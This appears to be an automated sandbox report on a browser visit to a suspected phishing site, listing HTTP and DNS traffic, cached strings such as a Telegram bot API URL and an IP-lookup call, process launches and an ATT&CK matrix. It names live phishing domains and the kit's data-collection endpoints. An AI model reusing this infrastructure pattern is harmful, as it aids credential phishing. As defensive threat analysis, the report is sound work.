Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Wed, 26 Mar 2025 12:34:21 GMT
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: tfiles.jbones.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tfiles.jbones.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: tfiles.jbones.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tfiles.jbones.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Wed, 26 Mar 2025 12:34:21 GMT
Source: global traffic	HTTP traffic detected: GET /avatar/7b41fe8db265693c1a7c1fc0b44c3809?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zec.org HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/7b41fe8db265693c1a7c1fc0b44c3809?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zec.org HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://tfiles.jbones.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/detect_bot HTTP/1.1Host: rail-bot-production.up.railway.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://tfiles.jbones.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/detect_bot HTTP/1.1Host: rail-bot-production.up.railway.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: tb.gitcombust.shop
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: tobyrender.koyuman.com
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: tfiles.jbones.com
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: rail-bot-production.up.railway.app
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65 HTTP/1.1Host: tb.gitcombust.shopConnection: keep-aliveContent-Length: 16552sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://tb.gitcombust.shopSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 17:56:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeaccess-control-allow-headers: Content-Type, Authorizationaccess-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-origin: *content-security-policy: default-src 'none'rndr-id: ae9aebe9-9db1-4391vary: Accept-Encodingx-content-type-options: nosniffx-powered-by: Expressx-render-origin-server: Rendercf-cache-status: DYNAMICServer: cloudflareCF-RAY: 9270c3911ae590c2-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_91.2.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_78.2.dr, chromecache_91.2.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_65.2.dr	String found in binary or memory: https://feross.org
Source: chromecache_91.2.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_91.2.dr	String found in binary or memory: https://rail-bot-production.up.railway.app/api/detect_bot
Source: chromecache_91.2.dr	String found in binary or memory: https://tbint.owa-wensglotii.top/
Source: chromecache_78.2.dr	String found in binary or memory: https://tobyrender.koyuman.com/api/get_doc_url
Source: chromecache_89.2.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_91.2.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.234:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.63:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.4:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.3:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49789 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3588_237578270

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3588_237578270

Jump to behavior

Source: classification engine

Classification label: mal80.phis.troj.win@23/50@42/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,4584764315380218697,6296068928638520844,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2164 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tb.gitcombust.shop/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,4584764315380218697,6296068928638520844,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2164 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://tb.gitcombust.shop/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://tfiles.jbones.com/_next/static/chunks/pages/_app-aea6920bd27938ca.js	0%	Avira URL Cloud	safe
https://tb.gitcombust.shop/script.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/chunks/webpack-ee7e63bc15b31913.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/chunks/main-de1ad41d606513c1.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/chunks/framework-2c79e2a64abdb08b.js	0%	Avira URL Cloud	safe
https://tb.gitcombust.shop/favicon.ico	0%	Avira URL Cloud	safe
https://tobyrender.koyuman.com/api/get_doc_url	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/chunks/pages/index-2ab0a5a476940d05.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/eFfmITpsazxu2yW-tP9kw/_buildManifest.js	0%	Avira URL Cloud	safe
https://tbint.owa-wensglotii.top/	0%	Avira URL Cloud	safe
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js?	0%	Avira URL Cloud	safe
https://classntfst.shop/tb/	100%	Avira URL Cloud	malware
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/background.jpg	0%	Avira URL Cloud	safe
https://tb.gitcombust.shop/styles.css	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/css/19d09a6113afa007.css	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/favicon.ico	0%	Avira URL Cloud	safe
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/eFfmITpsazxu2yW-tP9kw/_ssgManifest.js	0%	Avira URL Cloud	safe
https://tfiles.jbones.com/_next/static/chunks/186-e401717d9e8b842b.js	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

